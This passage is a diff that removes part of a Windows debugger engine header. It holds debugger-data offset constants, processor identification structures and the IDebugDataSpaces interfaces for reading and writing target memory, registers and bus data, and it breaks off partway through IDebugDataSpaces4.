-#define DEBUG_DATA_OffsetEprocessPeb 682
-#define DEBUG_DATA_OffsetEprocessParentCID 684
-#define DEBUG_DATA_OffsetEprocessDirectoryTableBase 686
-#define DEBUG_DATA_SizePrcb 688
-#define DEBUG_DATA_OffsetPrcbDpcRoutine 690
-#define DEBUG_DATA_OffsetPrcbCurrentThread 692
-#define DEBUG_DATA_OffsetPrcbMhz 694
-#define DEBUG_DATA_OffsetPrcbCpuType 696
-#define DEBUG_DATA_OffsetPrcbVendorString 698
-#define DEBUG_DATA_OffsetPrcbProcessorState 700
-#define DEBUG_DATA_OffsetPrcbNumber 702
-#define DEBUG_DATA_SizeEThread 704
-#define DEBUG_DATA_KdPrintCircularBufferPtrAddr 712
-#define DEBUG_DATA_KdPrintBufferSizeAddr 720
-#define DEBUG_DATA_MmBadPagesDetected 800
-#define DEBUG_DATA_EtwpDebuggerData 816
-
-#define DEBUG_DATA_PaeEnabled 100000
-#define DEBUG_DATA_SharedUserData 100008
-#define DEBUG_DATA_ProductType 100016
-#define DEBUG_DATA_SuiteMask 100024
-#define DEBUG_DATA_DumpWriterStatus 100032
-#define DEBUG_DATA_DumpFormatVersion 100040
-#define DEBUG_DATA_DumpWriterVersion 100048
-#define DEBUG_DATA_DumpPowerState 100056
-#define DEBUG_DATA_DumpMmStorage 100064
-
-//
-// Processor information structures.
-//
-
-typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_ALPHA
-{
- ULONG Type;
- ULONG Revision;
-} DEBUG_PROCESSOR_IDENTIFICATION_ALPHA, *PDEBUG_PROCESSOR_IDENTIFICATION_ALPHA;
-
-typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_AMD64
-{
- ULONG Family;
- ULONG Model;
- ULONG Stepping;
- CHAR VendorString[16];
-} DEBUG_PROCESSOR_IDENTIFICATION_AMD64, *PDEBUG_PROCESSOR_IDENTIFICATION_AMD64;
-
-typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_IA64
-{
- ULONG Model;
- ULONG Revision;
- ULONG Family;
- ULONG ArchRev;
- CHAR VendorString[16];
-} DEBUG_PROCESSOR_IDENTIFICATION_IA64, *PDEBUG_PROCESSOR_IDENTIFICATION_IA64;
-
-typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_X86
-{
- ULONG Family;
- ULONG Model;
- ULONG Stepping;
- CHAR VendorString[16];
-} DEBUG_PROCESSOR_IDENTIFICATION_X86, *PDEBUG_PROCESSOR_IDENTIFICATION_X86;
-
-typedef struct _DEBUG_PROCESSOR_IDENTIFICATION_ARM
-{
- ULONG Type;
- ULONG Revision;
-} DEBUG_PROCESSOR_IDENTIFICATION_ARM, *PDEBUG_PROCESSOR_IDENTIFICATION_ARM;
-
-typedef union _DEBUG_PROCESSOR_IDENTIFICATION_ALL
-{
- DEBUG_PROCESSOR_IDENTIFICATION_ALPHA Alpha;
- DEBUG_PROCESSOR_IDENTIFICATION_AMD64 Amd64;
- DEBUG_PROCESSOR_IDENTIFICATION_IA64 Ia64;
- DEBUG_PROCESSOR_IDENTIFICATION_X86 X86;
- DEBUG_PROCESSOR_IDENTIFICATION_ARM Arm;
-} DEBUG_PROCESSOR_IDENTIFICATION_ALL, *PDEBUG_PROCESSOR_IDENTIFICATION_ALL;
-
-// Indices for ReadProcessorSystemData.
-#define DEBUG_DATA_KPCR_OFFSET 0
-#define DEBUG_DATA_KPRCB_OFFSET 1
-#define DEBUG_DATA_KTHREAD_OFFSET 2
-#define DEBUG_DATA_BASE_TRANSLATION_VIRTUAL_OFFSET 3
-#define DEBUG_DATA_PROCESSOR_IDENTIFICATION 4
-#define DEBUG_DATA_PROCESSOR_SPEED 5
-
-#undef INTERFACE
-#define INTERFACE IDebugDataSpaces
-DECLARE_INTERFACE_(IDebugDataSpaces, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugDataSpaces.
- STDMETHOD(ReadVirtual)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- // SearchVirtual searches the given virtual
- // address range for the given pattern. PatternSize
- // gives the byte length of the pattern and PatternGranularity
- // controls the granularity of comparisons during
- // the search.
- // For example, a DWORD-granular search would
- // use a pattern granularity of four to search by DWORD
- // increments.
- STDMETHOD(SearchVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Length,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __in ULONG PatternGranularity,
- __out PULONG64 MatchOffset
- ) PURE;
- // These methods are identical to Read/WriteVirtual
- // except that they avoid the kernel virtual memory
- // cache entirely and are therefore useful for reading
- // virtual memory which is inherently volatile, such
- // as memory-mapped device areas, without contaminating
- // or invalidating the cache.
- // In user-mode they are the same as Read/WriteVirtual.
- STDMETHOD(ReadVirtualUncached)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteVirtualUncached)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- // The following two methods are convenience
- // methods for accessing pointer values.
- // They automatically convert between native pointers
- // and canonical 64-bit values as necessary.
- // These routines stop at the first failure.
- STDMETHOD(ReadPointersVirtual)(
- THIS_
- __in ULONG Count,
- __in ULONG64 Offset,
- __out_ecount(Count) PULONG64 Ptrs
- ) PURE;
- STDMETHOD(WritePointersVirtual)(
- THIS_
- __in ULONG Count,
- __in ULONG64 Offset,
- __in_ecount(Count) PULONG64 Ptrs
- ) PURE;
- // All non-virtual data spaces are only
- // available when kernel debugging.
- STDMETHOD(ReadPhysical)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WritePhysical)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadControl)(
- THIS_
- __in ULONG Processor,
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteControl)(
- THIS_
- __in ULONG Processor,
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadIo)(
- THIS_
- __in ULONG InterfaceType,
- __in ULONG BusNumber,
- __in ULONG AddressSpace,
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteIo)(
- THIS_
- __in ULONG InterfaceType,
- __in ULONG BusNumber,
- __in ULONG AddressSpace,
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadMsr)(
- THIS_
- __in ULONG Msr,
- __out PULONG64 Value
- ) PURE;
- STDMETHOD(WriteMsr)(
- THIS_
- __in ULONG Msr,
- __in ULONG64 Value
- ) PURE;
- STDMETHOD(ReadBusData)(
- THIS_
- __in ULONG BusDataType,
- __in ULONG BusNumber,
- __in ULONG SlotNumber,
- __in ULONG Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteBusData)(
- THIS_
- __in ULONG BusDataType,
- __in ULONG BusNumber,
- __in ULONG SlotNumber,
- __in ULONG Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(CheckLowMemory)(
- THIS
- ) PURE;
- STDMETHOD(ReadDebuggerData)(
- THIS_
- __in ULONG Index,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
- STDMETHOD(ReadProcessorSystemData)(
- THIS_
- __in ULONG Processor,
- __in ULONG Index,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
-};
-
-//
-// Handle data types and structures.
-//
-
-#define DEBUG_HANDLE_DATA_TYPE_BASIC 0
-#define DEBUG_HANDLE_DATA_TYPE_TYPE_NAME 1
-#define DEBUG_HANDLE_DATA_TYPE_OBJECT_NAME 2
-#define DEBUG_HANDLE_DATA_TYPE_HANDLE_COUNT 3
-#define DEBUG_HANDLE_DATA_TYPE_TYPE_NAME_WIDE 4
-#define DEBUG_HANDLE_DATA_TYPE_OBJECT_NAME_WIDE 5
-#define DEBUG_HANDLE_DATA_TYPE_MINI_THREAD_1 6
-#define DEBUG_HANDLE_DATA_TYPE_MINI_MUTANT_1 7
-#define DEBUG_HANDLE_DATA_TYPE_MINI_MUTANT_2 8
-#define DEBUG_HANDLE_DATA_TYPE_PER_HANDLE_OPERATIONS 9
-#define DEBUG_HANDLE_DATA_TYPE_ALL_HANDLE_OPERATIONS 10
-#define DEBUG_HANDLE_DATA_TYPE_MINI_PROCESS_1 11
-#define DEBUG_HANDLE_DATA_TYPE_MINI_PROCESS_2 12
-
-typedef struct _DEBUG_HANDLE_DATA_BASIC
-{
- ULONG TypeNameSize;
- ULONG ObjectNameSize;
- ULONG Attributes;
- ULONG GrantedAccess;
- ULONG HandleCount;
- ULONG PointerCount;
-} DEBUG_HANDLE_DATA_BASIC, *PDEBUG_HANDLE_DATA_BASIC;
-
-#undef INTERFACE
-#define INTERFACE IDebugDataSpaces2
-DECLARE_INTERFACE_(IDebugDataSpaces2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugDataSpaces.
- STDMETHOD(ReadVirtual)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- // SearchVirtual searches the given virtual
- // address range for the given pattern. PatternSize
- // gives the byte length of the pattern and PatternGranularity
- // controls the granularity of comparisons during
- // the search.
- // For example, a DWORD-granular search would
- // use a pattern granularity of four to search by DWORD
- // increments.
- STDMETHOD(SearchVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Length,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __in ULONG PatternGranularity,
- __out PULONG64 MatchOffset
- ) PURE;
- // These methods are identical to Read/WriteVirtual
- // except that they avoid the kernel virtual memory
- // cache entirely and are therefore useful for reading
- // virtual memory which is inherently volatile, such
- // as memory-mapped device areas, without contaminating
- // or invalidating the cache.
- // In user-mode they are the same as Read/WriteVirtual.
- STDMETHOD(ReadVirtualUncached)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteVirtualUncached)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- // The following two methods are convenience
- // methods for accessing pointer values.
- // They automatically convert between native pointers
- // and canonical 64-bit values as necessary.
- // These routines stop at the first failure.
- STDMETHOD(ReadPointersVirtual)(
- THIS_
- __in ULONG Count,
- __in ULONG64 Offset,
- __out_ecount(Count) PULONG64 Ptrs
- ) PURE;
- STDMETHOD(WritePointersVirtual)(
- THIS_
- __in ULONG Count,
- __in ULONG64 Offset,
- __in_ecount(Count) PULONG64 Ptrs
- ) PURE;
- // All non-virtual data spaces are only
- // available when kernel debugging.
- STDMETHOD(ReadPhysical)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WritePhysical)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadControl)(
- THIS_
- __in ULONG Processor,
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteControl)(
- THIS_
- __in ULONG Processor,
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadIo)(
- THIS_
- __in ULONG InterfaceType,
- __in ULONG BusNumber,
- __in ULONG AddressSpace,
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteIo)(
- THIS_
- __in ULONG InterfaceType,
- __in ULONG BusNumber,
- __in ULONG AddressSpace,
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadMsr)(
- THIS_
- __in ULONG Msr,
- __out PULONG64 Value
- ) PURE;
- STDMETHOD(WriteMsr)(
- THIS_
- __in ULONG Msr,
- __in ULONG64 Value
- ) PURE;
- STDMETHOD(ReadBusData)(
- THIS_
- __in ULONG BusDataType,
- __in ULONG BusNumber,
- __in ULONG SlotNumber,
- __in ULONG Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteBusData)(
- THIS_
- __in ULONG BusDataType,
- __in ULONG BusNumber,
- __in ULONG SlotNumber,
- __in ULONG Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(CheckLowMemory)(
- THIS
- ) PURE;
- STDMETHOD(ReadDebuggerData)(
- THIS_
- __in ULONG Index,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
- STDMETHOD(ReadProcessorSystemData)(
- THIS_
- __in ULONG Processor,
- __in ULONG Index,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
-
- // IDebugDataSpaces2.
-
- STDMETHOD(VirtualToPhysical)(
- THIS_
- __in ULONG64 Virtual,
- __out PULONG64 Physical
- ) PURE;
- // Returns the physical addresses for the
- // N levels of the systems paging structures.
- // Level zero is the starting base physical
- // address for virtual translations.
- // Levels one-(N-1) will point to the appropriate
- // paging descriptor for the virtual address at
- // the given level of the paging hierarchy. The
- // exact number of levels depends on many factors.
- // The last level will be the fully translated
- // physical address, matching what VirtualToPhysical
- // returns. If the address can only be partially
- // translated S_FALSE is returned.
- STDMETHOD(GetVirtualTranslationPhysicalOffsets)(
- THIS_
- __in ULONG64 Virtual,
- __out_ecount_opt(OffsetsSize) PULONG64 Offsets,
- __in ULONG OffsetsSize,
- __out_opt PULONG Levels
- ) PURE;
-
- // System handle data is accessible in certain
- // debug sessions. The particular data available
- // varies from session to session and platform
- // to platform.
- STDMETHOD(ReadHandleData)(
- THIS_
- __in ULONG64 Handle,
- __in ULONG DataType,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
-
- // Fills memory with the given pattern.
- // The fill stops at the first non-writable byte.
- STDMETHOD(FillVirtual)(
- THIS_
- __in ULONG64 Start,
- __in ULONG Size,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __out_opt PULONG Filled
- ) PURE;
- STDMETHOD(FillPhysical)(
- THIS_
- __in ULONG64 Start,
- __in ULONG Size,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __out_opt PULONG Filled
- ) PURE;
-
- // Queries virtual memory mapping information given
- // an address similarly to the Win32 API VirtualQuery.
- // MEMORY_BASIC_INFORMATION64 is defined in crash.h.
- // This method currently only works for user-mode sessions.
- STDMETHOD(QueryVirtual)(
- THIS_
- __in ULONG64 Offset,
- __out PMEMORY_BASIC_INFORMATION64 Info
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugDataSpaces3
-DECLARE_INTERFACE_(IDebugDataSpaces3, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugDataSpaces.
- STDMETHOD(ReadVirtual)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- // SearchVirtual searches the given virtual
- // address range for the given pattern. PatternSize
- // gives the byte length of the pattern and PatternGranularity
- // controls the granularity of comparisons during
- // the search.
- // For example, a DWORD-granular search would
- // use a pattern granularity of four to search by DWORD
- // increments.
- STDMETHOD(SearchVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Length,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __in ULONG PatternGranularity,
- __out PULONG64 MatchOffset
- ) PURE;
- // These methods are identical to Read/WriteVirtual
- // except that they avoid the kernel virtual memory
- // cache entirely and are therefore useful for reading
- // virtual memory which is inherently volatile, such
- // as memory-mapped device areas, without contaminating
- // or invalidating the cache.
- // In user-mode they are the same as Read/WriteVirtual.
- STDMETHOD(ReadVirtualUncached)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteVirtualUncached)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- // The following two methods are convenience
- // methods for accessing pointer values.
- // They automatically convert between native pointers
- // and canonical 64-bit values as necessary.
- // These routines stop at the first failure.
- STDMETHOD(ReadPointersVirtual)(
- THIS_
- __in ULONG Count,
- __in ULONG64 Offset,
- __out_ecount(Count) PULONG64 Ptrs
- ) PURE;
- STDMETHOD(WritePointersVirtual)(
- THIS_
- __in ULONG Count,
- __in ULONG64 Offset,
- __in_ecount(Count) PULONG64 Ptrs
- ) PURE;
- // All non-virtual data spaces are only
- // available when kernel debugging.
- STDMETHOD(ReadPhysical)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WritePhysical)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadControl)(
- THIS_
- __in ULONG Processor,
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteControl)(
- THIS_
- __in ULONG Processor,
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadIo)(
- THIS_
- __in ULONG InterfaceType,
- __in ULONG BusNumber,
- __in ULONG AddressSpace,
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteIo)(
- THIS_
- __in ULONG InterfaceType,
- __in ULONG BusNumber,
- __in ULONG AddressSpace,
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadMsr)(
- THIS_
- __in ULONG Msr,
- __out PULONG64 Value
- ) PURE;
- STDMETHOD(WriteMsr)(
- THIS_
- __in ULONG Msr,
- __in ULONG64 Value
- ) PURE;
- STDMETHOD(ReadBusData)(
- THIS_
- __in ULONG BusDataType,
- __in ULONG BusNumber,
- __in ULONG SlotNumber,
- __in ULONG Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteBusData)(
- THIS_
- __in ULONG BusDataType,
- __in ULONG BusNumber,
- __in ULONG SlotNumber,
- __in ULONG Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(CheckLowMemory)(
- THIS
- ) PURE;
- STDMETHOD(ReadDebuggerData)(
- THIS_
- __in ULONG Index,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
- STDMETHOD(ReadProcessorSystemData)(
- THIS_
- __in ULONG Processor,
- __in ULONG Index,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
-
- // IDebugDataSpaces2.
-
- STDMETHOD(VirtualToPhysical)(
- THIS_
- __in ULONG64 Virtual,
- __out PULONG64 Physical
- ) PURE;
- // Returns the physical addresses for the
- // N levels of the systems paging structures.
- // Level zero is the starting base physical
- // address for virtual translations.
- // Levels one-(N-1) will point to the appropriate
- // paging descriptor for the virtual address at
- // the given level of the paging hierarchy. The
- // exact number of levels depends on many factors.
- // The last level will be the fully translated
- // physical address, matching what VirtualToPhysical
- // returns. If the address can only be partially
- // translated S_FALSE is returned.
- STDMETHOD(GetVirtualTranslationPhysicalOffsets)(
- THIS_
- __in ULONG64 Virtual,
- __out_ecount_opt(OffsetsSize) PULONG64 Offsets,
- __in ULONG OffsetsSize,
- __out_opt PULONG Levels
- ) PURE;
-
- // System handle data is accessible in certain
- // debug sessions. The particular data available
- // varies from session to session and platform
- // to platform.
- STDMETHOD(ReadHandleData)(
- THIS_
- __in ULONG64 Handle,
- __in ULONG DataType,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
-
- // Fills memory with the given pattern.
- // The fill stops at the first non-writable byte.
- STDMETHOD(FillVirtual)(
- THIS_
- __in ULONG64 Start,
- __in ULONG Size,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __out_opt PULONG Filled
- ) PURE;
- STDMETHOD(FillPhysical)(
- THIS_
- __in ULONG64 Start,
- __in ULONG Size,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __out_opt PULONG Filled
- ) PURE;
-
- // Queries virtual memory mapping information given
- // an address similarly to the Win32 API VirtualQuery.
- // MEMORY_BASIC_INFORMATION64 is defined in crash.h.
- // This method currently only works for user-mode sessions.
- STDMETHOD(QueryVirtual)(
- THIS_
- __in ULONG64 Offset,
- __out PMEMORY_BASIC_INFORMATION64 Info
- ) PURE;
-
- // IDebugDataSpaces3.
-
- // Convenience method for reading an image
- // header from virtual memory. Given the
- // image base, this method determines where
- // the NT headers are, validates the necessary
- // markers and converts the headers into
- // 64-bit form for consistency.
- // A caller can check whether the headers were
- // originally 32-bit by checking the optional
- // header magic value.
- // This method will not read ROM headers.
- STDMETHOD(ReadImageNtHeaders)(
- THIS_
- __in ULONG64 ImageBase,
- __out PIMAGE_NT_HEADERS64 Headers
- ) PURE;
-
- // Some debug sessions have arbitrary additional
- // data available. For example, additional dump
- // information files may contain extra information
- // gathered at the same time as the primary dump.
- // Such information is tagged with a unique identifier
- // and can only be retrieved via the tag.
- // Tagged data cannot be partially available; the
- // tagged block is either fully present or completely
- // absent.
- STDMETHOD(ReadTagged)(
- THIS_
- __in LPGUID Tag,
- __in ULONG Offset,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TotalSize
- ) PURE;
- STDMETHOD(StartEnumTagged)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(GetNextTagged)(
- THIS_
- __in ULONG64 Handle,
- __out LPGUID Tag,
- __out PULONG Size
- ) PURE;
- STDMETHOD(EndEnumTagged)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-};
-
-#define DEBUG_OFFSINFO_VIRTUAL_SOURCE 0x00000001
-
-#define DEBUG_VSOURCE_INVALID 0x00000000
-#define DEBUG_VSOURCE_DEBUGGEE 0x00000001
-#define DEBUG_VSOURCE_MAPPED_IMAGE 0x00000002
-#define DEBUG_VSOURCE_DUMP_WITHOUT_MEMINFO 0x00000003
-
-#define DEBUG_VSEARCH_DEFAULT 0x00000000
-#define DEBUG_VSEARCH_WRITABLE_ONLY 0x00000001
-
-#define DEBUG_PHYSICAL_DEFAULT 0x00000000
-#define DEBUG_PHYSICAL_CACHED 0x00000001
-#define DEBUG_PHYSICAL_UNCACHED 0x00000002
-#define DEBUG_PHYSICAL_WRITE_COMBINED 0x00000003
-
-#undef INTERFACE
-#define INTERFACE IDebugDataSpaces4
-DECLARE_INTERFACE_(IDebugDataSpaces4, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugDataSpaces.
-
- STDMETHOD(ReadVirtual)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- // SearchVirtual searches the given virtual
- // address range for the given pattern. PatternSize
- // gives the byte length of the pattern and PatternGranularity
- // controls the granularity of comparisons during
- // the search.
- // For example, a DWORD-granular search would
- // use a pattern granularity of four to search by DWORD
- // increments.
- STDMETHOD(SearchVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Length,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __in ULONG PatternGranularity,
- __out PULONG64 MatchOffset
- ) PURE;
- // These methods are identical to Read/WriteVirtual
- // except that they avoid the kernel virtual memory
- // cache entirely and are therefore useful for reading
- // virtual memory which is inherently volatile, such
- // as memory-mapped device areas, without contaminating
- // or invalidating the cache.
- // In user-mode they are the same as Read/WriteVirtual.
- STDMETHOD(ReadVirtualUncached)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteVirtualUncached)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- // The following two methods are convenience
- // methods for accessing pointer values.
- // They automatically convert between native pointers
- // and canonical 64-bit values as necessary.
- // These routines stop at the first failure.
- STDMETHOD(ReadPointersVirtual)(
- THIS_
- __in ULONG Count,
- __in ULONG64 Offset,
- __out_ecount(Count) PULONG64 Ptrs
- ) PURE;
- STDMETHOD(WritePointersVirtual)(
- THIS_
- __in ULONG Count,
- __in ULONG64 Offset,
- __in_ecount(Count) PULONG64 Ptrs
- ) PURE;
- // All non-virtual data spaces are only
- // available when kernel debugging.
- STDMETHOD(ReadPhysical)(
- THIS_
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WritePhysical)(
- THIS_
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadControl)(
- THIS_
- __in ULONG Processor,
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteControl)(
- THIS_
- __in ULONG Processor,
- __in ULONG64 Offset,
